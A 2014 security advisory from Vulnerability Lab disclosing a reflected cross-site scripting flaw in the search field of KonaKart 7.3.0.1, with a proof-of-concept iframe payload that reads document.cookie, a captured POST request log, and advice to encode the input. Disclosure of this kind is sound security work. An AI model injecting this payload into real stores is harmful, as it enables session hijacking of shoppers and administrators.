Konakart v7.3.0.1 CMS - CS Cross Site Web Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Konakart v7.3.0.1 CMS - CS Cross Site Web Vulnerability


References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1362


Release Date:
=============
2014-12-04


Vulnerability Laboratory ID (VL-ID):
====================================
1362


Common Vulnerability Scoring System:
====================================
2.4


Product & Service Introduction:
===============================
If you are a retailer and looking for a product to develop an on line store, 
then KonaKart could be a good match. 
Regardless of your size, KonaKart will provide a powerful solution that should 
cover most, if not all of your 
requirements, delivering unparalleled price / performance.

One of the differentiation factors of KonaKart is that all functionality is 
available through a set of APIs (POJO, 
JSON, SOAP, RMI, JavaScript). These APIs are great for integration, allowing 
you to seamlessly merge eCommerce 
functionality into existing web sites and to connect to back end systems 
through well defined interfaces. A common 
problem with eCommerce systems is the cost for upgrading as new versions of the 
eCommerce platform are released. 
KonaKart has solved this problem through the use of APIs which remain backwards 
compatible as new versions of 
KonaKart are released. This means that regardless of the complexity of your 
store-front customizations you can 
easily upgrade to the latest version; saving you time and money.

(Copy of the Vendor Homepage: 
http://www.konakart.com/product/is-konakart-for-you )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site 
scripting web vulnerability in the official Konakart v7.3.0.1 CMS.


Vulnerability Disclosure Timeline:
==================================
2014-12-04:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DS Data Systems (UK) Ltd.
Product: KonaKart - Content Management System (Web-Application) 7.3.0.1 (Linux, 
Windows & Multi OS Platform)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non persistent cross site scripting web vulnerability (client-side) has been 
discovered in the official Konakart v7.3.0.1 web-application.
The issue allows an attacker to inject own script code as payload to the 
application-side of the vulnerable online service function or module.

The client-side cross site scripting web vulnerability is located in the 
searchText values of the QuickSearch.action POST method request. 
Remote attackers are able to inject own malicious persistent script code inject 
in the search function POST method request. The attacker is 
able to prepare a malicious links to steal user/admin session data. The request 
method to inject the code is POST and the attack vector is 
located on the client-side of the vulnerable online-service application.

The security risk of the application-side web vulnerability is estimated as 
medium with a cvss (common vulnerability scoring system) count of 2.4.
Exploitation of the application-side web vulnerability requires a low 
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in persistent phishing, 
session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Request Method(s):
                                        [+] POST

Vulnerable Module(s):
                                        [+] Search > Advanced Search

Vulnerable Function(s):
                                        [+] QuickSearch.action

Vulnerable Parameter(s):
                                        [+] searchText

Affected Version(s):
                                        [+] KonaKart-7.3.0.1 - Windows
                                        [+] KonaKart-7.3.0.1 - Linux
                                        [+] KonaKart-7.3.0.1 - Linux-Install-64 
& KonaKart-7.3.0.1.zip (Multiple Platforms)


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by 
remote attackers without privileged application user account with low or medium 
user interaction. 
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

PoC: Exploit
<div id="item-overview" class="item-area wide rounded-corners">
<div class="item-area-header"></div>
<div class="items-message">
No products were found for your search of <b>">[CS SCRIPT CODE 
EXECUTION!]<iframe src="./evil-source" onload="alert(document.cookie)" <<="" 
b=""> .
Click on any of the following suggestions to retry:
<div class="spelling-suggestions">
<ul><li><a href="QuickSearch.action?searchText=onboard&searchInDesc=true" 
class="text-link"><span>onboard</span></a></li>
<li><a href="QuickSearch.action?searchText=apart&searchInDesc=true" 
class="text-link"><span>apart</span></a></li></ul>
</div></div><div class="item-area-footer"></div>
</div>          


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:80/konakart/QuickSearch.action 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[localhost:80]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 
Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:80/konakart/Welcome.action]
      Cookie[JSESSIONID=1DAFFD83F4BB0BE342DDF81449CD4B73; 
__utma=86225154.1264352723.1415816157.1415816157.1415816157.1; 
__utmb=86225154; __utmc=86225154; 
__utmz=86225154.1415816157.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); 
CUSTOMER_UUID=9c1951a2-b41c-4e27-b80f-7123f693c223; 
PHPSESSID=dmq03hr0d6frmi93bvucab8m71; __atuvc=1%7C46; 
__atuvs=5463a5f0d42aad60000; y_cookie=702]
      Connection[keep-alive]
   POST-Daten:
      xsrf_token[null]
      
searchText[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C]
      manuId[]
      catId[]
   Response Header:
      Date[Wed, 12 Nov 2014 18:33:33 GMT]
      Server[Apache/2.2.22 (CentOS)]
      Cache-Control[no-cache, no-store]
      Pragma[no-cache]
      Expires[Wed, 11 Jan 1984 05:00:00 GMT]
      Connection[close]
      Transfer-Encoding[chunked]
      Content-Type[text/html;charset=UTF-8]


Reference(s):
http://localhost:80/konakart/
http://localhost:80/konakart/Welcome.action
http://localhost:80/konakart/QuickSearch.action


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the searchText 
value in the advanced search POST method request.
Encode also the search results output to prevent client-side script code 
injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is 
estimated as medium. (CVSS 2.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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